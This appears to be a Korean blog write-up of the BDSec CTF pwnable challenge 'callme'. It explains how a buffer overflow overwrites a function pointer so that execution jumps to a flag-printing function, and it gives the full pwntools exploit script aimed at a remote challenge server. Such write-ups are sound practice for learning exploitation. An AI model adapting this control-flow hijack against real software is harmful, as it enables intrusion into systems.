BDSec CTF 포너블 문제이다.
딱 봐도 0으로 초기화 된 v9 함수 주소를 bof로 덮어서 원하는 함수의 주소로 흐름을 옮기는 문제인거 같다.
IDA 바이너리를 열어보니 callme 라는 함수가 있었고 해당 함수를 보니 플래그를 출력해주는 함수였다. 그러면 v9 함수 주소에 callme 함수 주소를 overwrite 하여 callme로 실행 흐름을 옮기면 플래그가 출력되는 문제인거 같다.
아래는 해당 공격 시나리오를 반영한 최종 익스플로잇 코드이다.
from pwn import *
#p = process("./callme")
p = remote("139.144.184.150", 3333)
e = ELF("./callme")
callme = 0x0804875e
payload = b'A'*0x40
payload += p32(callme)
p.sendlineafter("who let the dogs out:", payload)
p.interactive()
해당 코드를 실행하면 flag를 얻을 수 있었다.
'CTF > BDSec CTF' 카테고리의 다른 글
anyaForger - Pwnable (0) | 2023.07.21 |
---|---|
Ghost - Pwnable (0) | 2023.07.21 |